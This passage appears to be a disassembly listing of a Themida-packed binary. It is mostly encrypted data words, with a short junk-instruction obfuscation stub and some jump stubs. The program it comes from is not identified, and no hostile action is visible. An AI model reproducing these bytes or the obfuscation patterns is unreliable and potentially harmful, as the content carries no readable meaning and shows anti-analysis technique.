		dd 379C3377h, 0F413109Fh, 134BB9C2h
		db 9Bh
byte_5A57ED	db 0B1h, 0D7h, 13h	; DATA XREF: Themida_:0054B56Co
					; Themida_:0054E498o
		dd 37C9299Bh, 0F4B1759Fh, 0E2A12A32h, 6080B81Ah, 74845029h
		dd 0BA98BBF9h, 22872F22h, 8F1EBD99h, 8FCF253Ch,	0BDAF6CE2h
		dd 3D7FB5ACh, 0F812368Fh, 2BAD95Eh, 99223C01h, 77604E5Ah
		dd 9F372733h, 0C0F4CC10h, 9B13B5B9h, 8313A0B1h,	0A4F305E9h
		dd 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0FDA5BC3h, 589h, 8960B900h, 0BF0F1482h, 55006AF1h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0A028D711h, 8B0F37D8h, 22h, 8F0F60h,	0E8000000h, 14h
		dd 41292981h, 0A16FA8AAh, 0AD80E8CDh, 0BFD479C5h, 7CA0AC1Ch
		dd 0B3B9615Bh, 8B2074F6h, 6E8C3h, 78D70000h, 95CEC201h
		dd 0C08B5EF9h, 832BE280h, 10158DBDh, 9750006h, 95BD83h
		dd 74000610h, 8B535019h, 47AB8C0h, 85890000h, 610132Dh
		dd 0B87C9D8Dh, 0D3FF0612h, 0BD83585Bh, 6100095h, 50177400h
		dd 47AB853h, 85890000h,	610132Dh, 0B51D9D8Dh, 0D3FF0612h
		dd 0EE9585Bh, 90000000h, 8B091E0Ah, 61755AE6h, 3B13E632h
		dd 0E8C08B96h, 12h, 6B7AA46h, 0B1646F65h, 0FBF5BD72h, 0E233137Eh
		dd 0FA8B680Ch, 0D1B70F59h, 5D80C181h, 0BE90000h, 57000000h
		dd 6C5F6EB9h, 375D0332h, 0DB3374C2h, 8119048Bh,	0D269DBE8h
		dd 37CF816Dh, 8161BC8Dh, 1D933C0h, 4ABE660Fh, 4AE88137h
		dd 814E56B8h, 8F9077C6h, 8FF9507Eh, 0EB831904h,	0D2BF0F04h
		dd 0A2E8FB81h, 850FFFFFh, 0FFFFFFC4h, 0CE9h, 0A64C9000h
		dd 74h,	0
		dd 529E900h, 47E70000h,	1BD14804h, 3CF168E4h, 1BD04703h
		dd 39EB6ADEh, 3C483EFAh, 5FDB1ACEh, 38F435D8h, 56D20DC1h
		dd 37F328DFh, 1C16854h,	0E56BD9D9h, 79323C08h, 5BDE5044h
		dd 0BDB96DA6h, 327113A0h, 1348FF76h, 38F30D5Fh,	6DCC7C8Ah
		dd 66DCED35h, 32EAD17Ah, 0F8ACE79Bh, 0B883587Ch, 9D25E40Fh
		dd 796DCC66h, 0AE2DD9FDh, 98D3BFF6h, 22C96807h,	44EA71EDh
		dd 826B5509h, 3FEA3888h, 6DCCF783h, 66E20763h, 72E9FE8Ch
		dd 0F69581BCh, 745E1253h, 1DA5647Ah, 0F96DCC6Bh, 24BB607Dh
		dd 9A0E49FDh, 432F641Bh, 0CC6BAB14h, 8CC57C6Dh,	5FE3A698h
		dd 0B76DCC6Bh, 0C45FCBBh, 0DF632618h, 376DCC6Bh, 5BFA893Bh
		dd 7D2A675h, 0F5712566h, 49AC43D8h, 336B1E88h, 8268h, 22C39600h
		dd 1C3135E1h, 44793290h, 0A55BDE50h, 8758CC65h,	0C29E4BBEh
		dd 0DA46FEA5h, 0B5C76DCCh, 0D63D81B8h, 64793BE7h, 0A5A620BFh
		dd 92E0FC77h, 6F9CEEBh,	336B32ABh, 0AFEAA01Bh, 9E8D5FC3h
		dd 92338B24h, 0E18764C0h, 1, 437A322Bh,	6390384Fh, 0CC7C1AA8h
		dd 421EFA6Dh, 5794374Eh, 10AF10ABh, 7B2E5B11h, 923383C7h
		dd 1116431Fh, 55024AE9h, 33C2765Ah, 2FAA4E8Ch, 11EC57B1h
		dd 0D7F37935h, 7C4002A9h, 0C8A46DCCh, 3C8428B3h, 0E40D9B52h
		dd 0EB2CDDFEh, 0A037EB07h, 88C5B1E8h, 33D55CF3h, 0AC138F4h
		dd 3AA21D5h, 0F68DD6CAh, 0BC679A5Fh, 96D7336Ah,	0F09B79CFh
		dd 6DCC8E52h, 0E91B6B2h, 89805A68h, 6DCCF439h, 46C81DDh
		dd 6Eh,	3196D746h, 6D2AA6h, 0B759E2F7h,	580D8C78h, 0AE54731Fh
		dd 64087F73h, 0C302A625h, 972EC5CFh, 1EA9629h, 0B9301F2Fh
		dd 0F1D2A742h, 0F231D352h, 0D80DBF36h, 0CCF29131h, 0A65E756Dh
		dd 0C39F836Fh, 2FD4F39Fh, 5D79B257h, 2CC300A9h,	6AA618C9h
		dd 43F833h, 32520000h, 34533F7Eh, 4C9F538Eh, 0B355DC73h
		dd 2CDF5A74h, 4A1F03EFh, 4D7F694h, 0F67A265Bh, 7BB25AE1h
		dd 7C67E087h, 0D4A86DCCh, 4A246305h, 0CC7CE35Fh, 5227036Dh
		dd 0D617D271h, 0B6336B35h, 1, 427B3214h, 0AB5DDC4Eh, 1BC48F6Ch
		dd 6FEA14E6h, 2E9483B8h, 0C66DCC7Ch, 7918D6Ah, 954CD56Ch
		dd 7483E05Ch, 75969567h, 1167FC06h, 0B79BD27Ah,	0D513CCCBh
		dd 0BD480C0Fh, 13C7AB51h, 0FA9DDB84h, 23956534h, 1C38792Ch
		dd 0C5252638h, 0CA288E1Bh, 34632338h, 9423788Ch, 0E243E2C1h
		dd 7DB25929h, 0D5CBA489h, 0D0179488h, 0DD5CD0F4h, 8605F126h
		dd 9FFCA8DDh, 0DA6165FCh, 2A06FA33h, 0A8DD864Dh, 75344A34h
		dd 94230CCDh, 67304D29h, 397BC5A6h, 13686h, 0BD5CC400h
		dd 0C41F4C1Eh, 10BC9B43h, 0FAB1C7A4h, 67FCBFC1h, 36374925h
		dd 48C6808Dh, 43431854h, 94669B44h, 3DE91EC5h, 1B9A2439h
		dd 0A7F19464h, 1349F612h, 7D294D3Ah, 0B229DDF9h, 0B9D0C4F9h
		dd 3E2BD718h, 0BCE77770h, 782DAC3Bh, 0B241533Fh, 0CBF0AD13h
		dd 136ED34h, 0E23F924Dh, 0D1AF397Ah, 3C3468DAh,	0BB908C94h
		dd 2C15h, 0C15C7700h, 0D949401Ah, 0FDEDCC7Ch, 9C267521h
		dd 41EDCC7Ch, 88C97C3Fh, 1A31D073h, 702DCFFh, 6DCC7C9Bh
		dd 0FA6BDF3Bh, 9Fh, 1EBD5C52h, 0C3C5D4Ch, 4ECA67FCh, 477C23A2h
		dd 0E1FF3835h, 22CE0FC2h, 6E03193Eh, 3FB6805Dh,	0F89F5388h
		dd 9423C44Dh, 2EE27DEh,	0EFA3E083h, 0E54CE3BCh,	161A0641h
		dd 0FEBD9F3Ah, 4DEE0B4Ah, 0A14514B6h, 91B6BA66h, 0D39D3EBAh
		dd 0FBB895DBh, 469B0F44h, 57522CAFh, 9E1697A1h,	0EE89C1Fh
		dd 0EE721E57h, 2905F5D2h, 0B2D1657h, 60AA0026h,	43FC9B8Bh
		dd 0BF63620Eh, 52F99084h, 6D56691Dh, 8D35F4D6h,	699E1557h
		dd 0C47FE90Dh, 99A72E2Dh, 68CCB8F7h, 41B7728Ch,	2194208Ah
		dd 5C038945h, 5D4C1EBDh, 67F9A1AFh, 6586D815h, 0CE1892D9h
		dd 8175B657h, 0BBD2C8A5h, 40793008h, 35544024h,	56E5598Eh
		dd 656678ADh, 1B6C68F3h, 0E2604B01h, 294265Dh, 712D4A26h
		dd 0F243C12Ah, 22C1E20Bh, 0D58C5C03h, 13A6B89Ch, 0A21C3172h
		dd 25376C13h, 0E5ACF096h, 0E06972DEh, 3F23CFF3h, 0AA5D7C2Ah
		dd 942FB96Dh, 568B34FDh, 23E6F8E2h, 0EAFA859Fh,	55DEFB77h
		dd 1C8D79AEh, 3, 326D5F70h, 52493D80h, 19B06499h, 4F463A75h
		dd 32A95D9Eh, 34533F7Eh, 26A55190h, 39504481h, 30A75B94h
		dd 0CF554178h, 6CFE68h,	243C8900h, 321468h, 242C8900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	615A54Bh
		mov	ebp, [esp]
		add	esp, 4
		push	58BAh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	edx
		mov	edx, 8
		add	edx, 789D4497h
		add	edx, esi
		sub	edx, 789D4497h
		mov	[edx], ebp
		pop	edx
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		db 0A9h
		dd 81C29228h, 7985EC36h, 0B8198A14h, 615A9FDh, 0E0FFC503h
		dd 2FB86E48h, 399CC6D7h, 6D8097C9h, 757020D4h, 4C557A4Fh
		dd 386C8E48h, 39052637h, 242CB9C7h, 54D0AA84h, 46BE591Ch
		dd 626B2E23h, 4993B173h, 6620D96Bh, 54B4DE44h, 0A42DC59h
		dd 5CD48420h, 77310891h, 79B8AEE2h, 7C80AD32h, 13466E9h
		dd 2FD4FAAEh, 745225A6h, 47A15338h, 700E6E8Fh, 2EE9h, 0CB338F00h
		dd 0Ah,	9 dup(0)
		dd 0E9000000h, 534h, 0AE2A6D1Dh, 8E4A8127h, 0B5296207h
		dd 88448126h, 0AC205F11h, 5C1042BEh, 771AA11Dh,	4FF38236h
		dd 6A219814h, 0AA967935h, 0D9D743FFh, 7E46A36Bh, 265B04D7h
		dd 0ACE18A51h, 0F02FE1F8h, 0DB06BD3Ch, 0CC7C9230h, 900726Dh
		dd 6DCC7CB9h, 0BE5015Dh, 0CC7CA220h, 0AE6426Dh,	93C87F16h
		dd 940E8DFh, 3BFE621Dh,	8E2D4A89h, 40752EF7h, 3DAC3D2Eh
		dd 2F6B9AA7h, 0D054407Bh, 7D5FD7F4h, 0D6CA0BBEh, 10B67D5Ah
		dd 84D2FBD5h, 5516D379h, 36C5794Eh, 0CFA15590h,	491E530Ch
		dd 0F29EDF92h, 1F52ED3h, 0FCA8E58Ah, 38EC2BDDh,	58F78A3Ch
		dd 902FC274h, 26A2DD91h, 8328F8AFh, 2F762A46h, 6DCCA296h
		dd 6E8B2A99h, 336A57A3h, 6A9F4813h, 71DB8Dh, 0D7310000h
		dd 6E225F04h, 0A55ED5F2h, 6FD58470h, 0B06DCC7Ch, 9C75700Fh
		dd 7C336B35h, 11h, 0C0754982h, 3AD521E6h, 301D3443h, 0C5A216C6h
		dd 0A87A32FFh, 58DCC801h, 5B11887Ch, 0B6597024h, 0D1F28D79h
		dd 164DF332h, 4C01B8A2h, 7CD46E1Dh, 34306DCCh, 0C3656410h
		dd 0B0949084h, 3267209Bh, 461D3318h, 6241103Ah,	0CC201BA7h
		dd 431FFB6Dh, 321AB026h, 34533F7Eh, 0ECA1558Ch,	57F938D7h
		dd 6E15A418h, 0CEB48930h, 0F2CE238Eh, 0A9E287FEh, 97D4ACFDh
		dd 5AD97A82h, 52F106EFh, 0DBEB36B3h, 96CB336Ah,	41000000h
		dd 533F7E32h, 0BE0407D9h, 8F6DCC7Ch, 73EF9FDCh,	0F8D50CB4h
		dd 334D863Bh, 0DAC603A8h, 7CA2E34Dh, 0EED2B78Eh, 0BC0F9BC9h
		dd 728767E1h, 7967F9B4h, 0CC943092h, 8358D46Dh,	0F6C501A0h
		dd 0FE6B174Eh, 4C25792Eh, 17341057h, 0D7A9E89Ch, 51265B04h
		dd 1B5A0E8Dh, 7EBB7067h, 136ED6Ch, 5A693AECh, 0B2833EBBh
		dd 5363336Ah, 0A9000000h, 533F7E32h, 13B88E34h,	8F462AD6h
		dd 0D1C5A1DAh, 2CAE45DEh, 8CA21952h, 0A118BFB5h, 0CCFD48FAh
		dd 9BB0AC6Dh, 0B12D6C20h, 437A321Bh, 0EE545729h, 66DCC7Ch
		dd 7CCD7534h, 4D296DCCh, 3525429h, 6DCC7CBAh, 42A73E7Dh
		dd 336B356Fh, 14Fh, 7B32BD00h, 90374E42h, 7C1CA665h, 7CF86DCCh
		dd 0EB38658h, 74B156D5h, 433DA757h, 0E8A3D078h,	6DCC7C5Ah
		dd 65825EBAh, 4FF63FD6h, 0B63DA216h, 0BB604B25h, 4B67FC06h
		dd 863EFDCFh, 0FAD60BB4h, 0F9AB2A06h, 8D6AC6BAh, 631C9F91h
		dd 9DE422Eh, 0E8649952h, 9C8FBA71h, 94238A26h, 927E62BEh
		dd 238A7DC3h, 0B251F294h, 0FF434618h, 1794238Ah, 0CE753E1Bh
		dd 0ED962599h, 16CDCCB8h, 8C689D46h, 1A0C398h, 76326720h
		dd 7B3FEAC3h, 126CA39h,	5C400000h, 8D4C1EBDh, 68F5A1D6h
		dd 36D0358Bh, 390E3239h, 0CF823927h, 19CA98Eh, 7260F2BFh
		dd 0F59DAE55h, 0D6967FCh, 94C98219h, 1AEAA118h,	67223C71h
		dd 943CD4DBh, 0F03DF3Bh, 81D7301Dh, 1F26497Ch, 0A5DA914Ah
		dd 0F835DAF1h, 0A0D78D0Ch, 8B2AF9F4h, 9C334845h, 5B9EE95h
		dd 0AFEAA01Bh, 960CE59Ah, 4BEC397Ah, 5E000000h,	401AC15Ch
		dd 0CC7CD949h, 35F2DBEDh, 96CB26FEh, 645EE4A7h,	0BAB6EDCCh
		dd 306B1F96h, 170BE044h, 8E09CD12h, 0C198C9BFh,	0F4BA9F05h
		dd 9C886CCDh, 0CC8275CDh, 0AA95AEDh, 4719C255h,	0CC82DE44h
		dd 0BE7AF66Dh, 7345h, 0BD5CB700h, 437E1815h, 597DABE7h
		dd 0F3E78487h, 0C39F67FCh, 0DA0FB8CFh, 57983900h, 863DBC82h
		dd 6BC7F51h, 0A9F0AECBh, 943C931Eh, 4ED76E55h, 97EC6095h
		dd 8A815B80h, 9E094A1Ah, 0D07DB398h, 0C7279DDAh, 8074F0B2h
		dd 792D6209h, 8470AD62h, 7B276005h, 0FCC05F40h,	4318B74Ah
		dd 565527B4h, 9422D7CEh, 1750F5C4h, 30F2076Bh, 0C6BAF599h
		dd 34D2866Ah, 235E04D7h, 87D6F36Fh, 6F916B70h, 0CC7C06BCh
		dd 6582DE6Dh, 0A7089893h, 0CCA867F9h, 0D50AC1D8h, 0EB29E259h
		dd 739328C4h, 190DE9C0h, 0B0F19427h, 8F57EB9Eh,	0B3AF9426h
		dd 0C54ED96h, 0F0CFE1C4h, 0E217D051h, 0D38EF66h, 0C00CA41Eh
		dd 0A3494080h, 0B86C886Ch, 51F198C6h, 0B580C00Ch, 7417A4B9h
		dd 0C9ADE49Ch, 0CF06BEDDh, 0C2FFA423h, 6D049BCEh, 0A73EF55Fh
		dd 0C97E3D23h, 0ED9C988Ch, 80C00C55h, 1B98B5B1h, 0B6EB9464h
		dd 0CE8A66CAh, 8BB66DECh, 0C00C22A0h, 8A66C280h, 83DE66Dh
		dd 86BD63F6h, 324B571h,	98000000h, 80326D5Fh, 9952493Dh
		dd 7519B064h, 9E4F463Ah, 7E32A95Dh, 9034533Fh, 8126A551h
		dd 94395044h, 7830A75Bh, 68CF5541h, 6ADh, 56242489h, 4BEh
		dd 24740100h, 0EC835E04h, 24148904h, 151B68h, 243C8900h
		dd 5DCBE56h, 814E6C0Ah,	0F45AC6EEh, 8BF28965h, 0C4832434h
		dd 505B6804h, 24890000h, 24048124h, 4, 0BE56535Fh, 8, 15EF389h
		dd 5B1389FBh, 51243C8Bh, 0C181E189h, 4,	4C181h,	0C870000h
		dd 34FF5C24h, 0C4835A24h, 0D026E904h, 2754FFFAh, 15AFD0B8h
		dd 0FFC50306h, 87D49E0h, 0EAE19507h, 0CED20A3Dh, 0B6766150h
		dd 0A7853941h, 76135731h, 0D82CF241h, 774D8256h, 4CC5BA28h
		dd 0CB537474h, 0C6CEDB05h, 4AE80230h, 34847B08h, 0CEE52F7Bh
		dd 164E957h, 0EBAA0000h, 6A8C3624h, 4EAA8496h, 5AAC4C6Ah
		dd 54B50BB7h, 54BF52BCh, 5A300BBFh, 734E52B4h, 26663B9Fh
		dd 727852CDh, 0C654D036h, 0B4809C32h, 1609528Ah, 12852FBh
		dd 0
		dd 40000h, 2 dup(0)
		dd 2F0000h, 0
		dd 80000h, 0
		dd 79530000h, 6D657473h, 72502000h, 7365636Fh, 5D73h, 3Eh dup(0)
		dd 0B2E90000h, 68000016h, 615B40Dh, 0FB98EBE9h,	0B4D068FFh
		dd 0E1E90615h, 68FFFB98h, 615B5B5h, 0FB98D7E9h,	0B69D68FFh
		dd 0CDE90615h, 68FFFB98h, 615B82Fh, 0FB98C3E9h,	0B96D68FFh
		dd 0B9E90615h, 68FFFB98h, 615BA25h, 0FB98AFE9h,	0BAD968FFh
		dd 0A5E90615h, 68FFFB98h, 615BCEAh, 0FB989BE9h,	0BD9C68FFh
		dd 91E90615h, 68FFFB98h, 615BEA2h, 0FB9887E9h, 0BF5768FFh
		dd 7DE90615h, 68FFFB98h, 615C0E4h, 0FB9873E9h, 0C62068FFh
		dd 69E90615h, 68FFFB98h, 615C711h, 0FB985FE9h, 0C779CEFFh
		dd 7B352B9Ah, 0CC7ED726h, 7C2E2697h, 0CA84D627h, 5CDFA795h
		dd 0A6174C06h, 59ACF9B3h, 0AFFE5305h, 2FADE29Ch, 0F7404F9Ch
		dd 0BB151DDDh, 0B2AB5ACFh, 75665F00h, 96C514BBh, 3C2287DCh
		dd 7D0A7948h, 17C844DAh, 0E1E28B7Bh, 0D85A8C96h, 0A42BDB1Dh
		dd 0B82F3457h, 0FEB8AA11h, 681A327Fh, 6F0AD969h, 0CF0C8E48h
		dd 5513E3Dh, 9B7732A1h,	0BE93CA35h, 404F9C4Bh, 1511B827h
		dd 74944869h, 45000000h, 0E4EB9DB8h, 0EF8E4095h, 1C4E0F43h
		dd 3B5EA95Ah, 1A17C845h, 82B0416Ah, 657603FAh, 88A754ABh
		dd 0CD17C844h, 0F8838021h, 1DD844EAh, 9672D28Dh, 0EAC10283h
		dd 0A9CC17B6h, 3511B822h, 0A7646B25h, 0FF7137ECh, 71624F35h
		dd 560AC416h, 0B9987C37h, 0D82C4C65h, 7E9851D0h, 20F2AB22h
		dd 0BE9407BAh, 0D33023D2h, 0B8010928h, 0F4A04C11h, 0CC31ABh
		dd 5A790000h, 0D3498A3Dh, 3879AACDh, 0D6217ECDh, 17C892C3h
		dd 92C3D621h, 0E29217C8h, 0BDC4907Ch, 5B70FD6Eh, 934356A1h
		dd 621217C8h, 0DC96CC39h, 8C3E98E5h, 7261B0E3h,	97CC19B8h
		dd 0DF3788DDh, 9517C897h, 0E6D78C46h, 31943BF5h, 0F98A790Dh
		dd 8BF8558Ch, 17C88DECh, 0EAE9BD69h, 6694733Ch,	0B11DD89Ch
		dd 0CE1B90C5h, 11BDC476h, 89FD6150h, 37BBCD3Ah,	0D0BC17CBh
		dd 843E94E1h
		db 0CFh, 0DEh
word_5A686A	dw 32ECh		; DATA XREF: Themida_:0054BEACo
		dd 12E26AB4h, 15ABAEE2h, 13CDh,	1946F84Fh, 0A5FAB4ACh
		dd 164BFD58h, 0A6FBADA7h, 1C490357h, 85D55828h,	322796CBh
		dd 84DA2B78h, 1B307DD2h, 21B03461h, 0DDF8C3D6h,	4434921Dh
		dd 8E653D5Ah, 0AEAB5EC2h, 8C218EDh, 0BF796A5Bh,	1A48C892h
		dd 0E2E08B62h, 951DD845h, 0F69DEAE9h, 0D911B844h, 0F714CF6Ah
		dd 6147E4F6h, 36ACF554h, 0BE932FB0h, 0AAA1h, 75CE900h
		dd 6599764Dh, 0D80FFA1Ah, 0C815BEDFh, 0A7CA3592h, 0AE17C880h
		dd 0A0EB92BEh, 17C88558h, 580DC71Ch, 15BC7665h,	7F68EB4h
		dd 0D88A3E7Ch, 558CD91Dh, 902FE9FAh, 0ADE2AEE2h, 2F7E062Ch
		dd 0CB21B5C4h, 0FDF4A017h, 0F3A05A70h, 0A016D002h, 0E212F5B0h
		dd 0A3FD5D4h, 8C000013h, 1F4A153h, 6D4015CFh, 0CF9A658h
		dd 84711ED0h, 6DBF944Eh, 16D00285h, 0AB657C49h,	1DCF07F6h
		dd 0AC667548h, 1966F5F7h, 1DDDF976h, 5C9981DFh,	0A6174C06h
		dd 7504FBB5h, 0DC7B0865h, 7917C844h, 0CD98D98Dh, 4FE28DDEh
		dd 617C845h, 5C155516h,	5DB0AC07h, 6412B16Bh, 0B1E59130h
		dd 0D690C312h, 60213C89h, 0AE88BB77h, 0E8CAEFE9h, 770CD7BAh
		dd 4410CAFFh, 2F247110h, 10B82075h, 0CA394DF1h,	0D8D2FB3Dh
		dd 0D3EAB1Dh, 7A2A0A53h, 0E887F483h, 0FE11B88Ah, 520D13CDh
		dd 38FAAEE5h, 0A7C89C07h, 5146E8B3h, 0D8860943h, 0D0A24DA4h
		dd 7203EF7h, 29157817h,	4115E55h, 5D1A326Bh, 9EA719A2h
		dd 2E6225CAh, 672132BFh, 3EF8E998h, 2A1E933Fh, 0FCA55170h
		dd 4D075CA9h, 0ACAF7D6Fh, 922AA9DFh, 1225h, 51FEB0A7h
		dd 0DDB26C64h, 4E03B510h, 0DEB3655Fh, 5401BB0Fh, 3D8D10E0h
		dd 0EADFCE83h, 3C926330h, 0F3E8D58Ah, 0F9886C39h, 0DDF9EB8Eh
		dd 1C0C6A1Dh, 5CB7AB5Ah, 82304F01h, 23388DCEh, 5B076A69h
		dd 0E11FCC23h, 161DD867h, 97CC3966h, 0EF53B6DDh, 6BDB2897h
		dd 4817CDD2h, 0CFEEA8BBh, 0F1806F23h, 8A7B28E2h, 0CF209F59h
		dd 57763022h, 43EF02ABh, 2435C43Bh, 0F6B7636Ah,	215E620Dh
		dd 53A411B8h, 8CBF89A8h, 6520CC05h, 8188560Fh, 0E84C157Dh
		dd 1E38C53Ch, 8D3F976Ch, 0E190DFE4h, 47EA95F2h,	0E058CFEh
		dd 0DF8B325Eh, 830ABC12h, 1C2F96D7h, 81D58FC1h,	38F2E1D4h
		dd 720A3899h, 0DA0FEC7Bh, 3D5CA7C9h, 18058C57h,	99B3296Ch
		dd 0C2120043h, 7BEFFE3h, 0B0436166h, 10FC0B9Ch,	3C10A29Ah
		dd 0D56BEEEEh, 113Dh, 89D688BFh, 356A243Ch, 86DB8DC8h
		dd 366B1D37h, 8CD993C7h, 1545C8B8h, 0A2B7065Bh,	144ABBE8h
		dd 8BC02D62h, 0D12084D1h, 0DDFB1326h, 0F4A4421Dh, 174C065Ch
		dd 0E9D8AC92h, 0D866349Eh, 0CE3931Dh, 129F4DEFh, 388DCB19h
		dd 90436C1Eh, 0B581241h, 0F64EA9BAh, 0C5913D44h, 5FF27DEEh
		dd 0F611B79Ch, 0CB2E6506h, 46C01067h, 7B00D355h, 1F9E5086h
		dd 1FD01F73h, 0E21423D0h, 554111B7h, 0EBA5BB0Ch, 0D2C217C7h
		dd 0B16B5EABh, 0D690C312h, 15D04FB7h, 0D87E115Eh, 27D70BA7h
		dd 2AD7287Bh, 0AF347D37h, 520C3FF6h, 731FA05Bh,	8706B80Eh
		dd 0AA9678DBh, 69703576h, 85F2C1C5h, 11B81C2Bh,	84D1F09Ch
		dd 9FEE954Fh, 81D0EFA9h, 0F218864Fh, 0B9242DE5h, 0F467E6EDh
		dd 33A82D39h, 0F38BB77Ah, 9F196FFCh, 0B03D0BA7h, 23E0DF99h
		dd 5F34E7ABh, 0D29BC78Fh, 10DDB262h, 43B201BBh,	0E8A2B70Ah
		dd 6A693DE9h, 93E0F3BCh, 0FF87E000h, 0EC9954C3h, 95683DF7h
		dd 0A4058C46h, 88F7C6BEh, 0BFED8CF7h, 8CF7FF87h, 0FF87BFEDh
		dd 0C6B6BC68h, 0CF7C22A5h, 22B30597h, 0AB577630h, 0B088A754h
		dd 21CDF977h, 7DB82075h, 0A7166ED4h, 8D60F45Ch,	671FCFFFh
		dd 0EF8E489Ah, 0BD3EE3A0h, 0B8095437h, 1A7D10F7h, 0E14DF362h
		dd 4DD9269Dh, 36F977CAh, 670F1637h, 0A2EE885Eh,	0F3AD9E4Bh
		dd 42FC4F9Eh, 0F07BEC3Bh, 0ED4C5961h, 5E6708F4h, 3234B26Ch
		dd 56006C54h, 0FABBD53h, 1A2D0000h, 96CA3B68h, 1F3687DCh
		dd 8FC5386Dh, 253588DDh, 7E46366Bh, 0B8EDA7BBh,	55A1445h
		dd 0B7EC9EB8h, 65B1546h, 89A853A6h, 0CC1DDDFCh,	65C8672h
		dd 0D6FDB7ABh, 0D4277C28h, 557C3625h, 0CEFD08A9h, 2B206D14h
		dd 0DEF38271h, 0EE587B24h, 0CCFFB66Fh, 0C74D3D12h, 0B6B883B7h
		dd 167h, 4D075C0Ah, 51AF546h, 0D8C19ABFh, 8EC27CD4h, 29E3F8CDh
		dd 0B5C9757Ch, 63D2AD3Eh, 2E21741Eh, 0C61F797Eh, 731FAAC7h
		dd 0C843DD2Ah, 78241DD8h, 9D670E59h, 0F96811B8h, 5BFC6240h
		dd 43EDBE93h, 35000000h, 8B621A48h, 0D845E2E0h,	0EAE9951Dh
		dd 0B844F69Dh, 97F2E811h, 56048B3Dh, 0C734830Ah, 11B844A8h
		dd 0D8F4C1ADh, 0E3FCA726h, 9B83C4Ah, 0B80C9270h, 0D324BE93h
		dd 0B8510928h, 0FFA04C11h, 9EDDh, 75C2500h, 899764Dh, 138C9D18h
		dd 0FD4C8728h, 1D6C13CDh, 4D742Eh, 51A211CBh, 0C85393A6h
		dd 89D2C217h, 5913EBDCh, 726117C8h, 8908C217h, 0C93A89DDh
		dd 0C84F1B3Eh, 214A3A17h, 8DF15D44h, 424C936h, 412D1DDBh
		dd 15CF0372h, 0A35D6D40h, 3144D45h, 5AF271DCh, 0E6Dh, 7926D8EFh
		dd 0C59A548Ch, 762BDDF8h, 0C69B4D87h, 7C29E3F7h, 65753808h
		dd 0D207F6ABh, 647A4B18h, 0BB10DDB2h, 1505401h,	0DDFDE376h
		dd 24D4721Dh, 174C065Ch, 65AB5A6h, 0DDF8454Ch, 0AAF6A42Bh
		dd 5C01A9F6h, 92FB3E07h, 0ECE48044h, 8807C117h,	0CA3786DAh
		dd 8B6DD97h, 0EEDD2C67h, 3D8E5F34h, 0B599FC83h,	1D25E2D1h
		dd 51309A52h, 7B08FBA4h, 1DD927CDh, 16E5BA6Ah, 0CA771A65h
		dd 2EDE11B8h, 7AA4F6Dh,	5C530000h, 0FA454C06h, 17C84553h
		dd 3CB3CB77h, 0DDF53FAFh, 59A8541Dh, 0A8FDB7ACh, 754C0655h
		dd 511ACC08h, 25DFF342h, 619ADC7h, 0E27AF9DCh, 0DB5h, 216E2037h
		dd 8DC27CD4h, 1E732520h, 8EC375CFh, 24712B1Fh, 0AD9D6050h
		dd 0FA4F9EF3h, 0ACA21340h, 358A5FAh, 49981C49h,	0DDFE9BBEh
		dd 6C1CBA1Dh, 5EA9065Ch, 17C8453Bh, 69366A1Ah, 68D479Ch
		dd 0E3EAA4B7h, 6BFC7Bh,	17C84571h, 47EA95E4h, 0E17C845h
		dd 7A69325Eh, 617504BFh, 396210AFh, 88DD97CCh, 83B78C12h
		dd 3853A4B8h, 95C01F7Fh, 6B0EF93Ch, 0EA17C91Dh,	0D6B713Ah
		dd 0BF000000h, 0C8502C5Eh, 0DE7F3D17h, 3FFFFFDh, 0C845375Eh
		dd 0D7AF9317h, 0F5A39BE8h, 14001DDDh, 41FB509Dh, 0F8B2A114h
		dd 9C568CD9h, 6193E1Eh,	71078ADCh, 0D01h, 0C59A4C83h, 7926E0F8h
		dd 0F29F518Ch, 4A17C903h, 0F8AD677Bh, 0E9F9BC84h, 3E93622Fh
		dd 0E8DECF84h, 479C6936h, 85D4D88Dh, 0DDFF57FAh, 0B860FE1Dh
		dd 464D075Ch, 0D32AE4F7h, 337C2E26h, 0EA736A0h,	0F9B3A855h
		dd 44FE4DB8h, 0B8157B0Fh, 0D04B883h, 5C000000h,	0C8502C5Eh
		dd 567F3D17h, 3FFFFFDh,	0FBB5AB5Ah, 6C8526D4h, 84EFBEC6h
		dd 1DD866FAh, 0CD1AB965h, 11B822A7h, 3026D32Ah,	2BC6DD7Eh
		dd 93D5D157h, 1DBC0BEh,	5E080000h, 17C84567h, 0A5B64F78h
		dd 1447B6EBh, 0C216635Ah, 0DF2C6708h, 17C845B4h, 0BB6A039Ch
		dd 40A1EEA8h, 7B95A1Fh,	0AF3AC4CEh, 34E2E19Bh, 53E69160h
		dd 217C92Bh, 0F23F3E12h, 897A27E1h, 0A52CE6FCh,	0FE4DB8F9h
		dd 0CBF23D44h, 0F317C92Bh, 4D9C23DDh, 954241FBh, 4F5363FEh
		dd 75046F00h, 0E017C92Bh, 19B29C25h, 8CD8E734h,	4D25C0E3h
		dd 0B88350C7h, 164B6h, 75C0A00h, 0E4F7464Dh, 455DFC87h
		dd 0CF817C8h, 0B8A60B58h, 0EF7EEDC4h, 51A01FD9h, 56174BFDh
		dd 0D85A6771h, 6D14001Dh
		dd 0B82F0B22h, 522DC411h, 0CB71E46Ch, 0F1F2BBD2h, 0A5F45A38h
		dd 37E5BE94h, 3D000000h, 8B621A48h, 0D845E2E0h,	26D3241Dh
		dd 53FF7E30h, 0B844D160h, 8AF58411h, 11B844E7h,	89D27E6Eh
		dd 87D4FBABh, 11B844E4h, 0E9B974EBh, 0BE93B783h, 0D172h
		dd 75CB600h, 0E3F7464Dh, 85BAA29h, 0F1E22F4Eh, 2539C837h
		dd 887B2A73h, 9AA4CD8Bh, 0A0C1FE2Dh, 0C9565727h, 0C31E2D17h
		dd 1ADD48Eh, 0A6EA5946h, 0EBB7AE2Fh, 0A0B845B6h, 723BE7E6h
		dd 54ABD37Fh, 459B4A5h,	0D37F2B52h, 665DFEACh, 0B7716815h
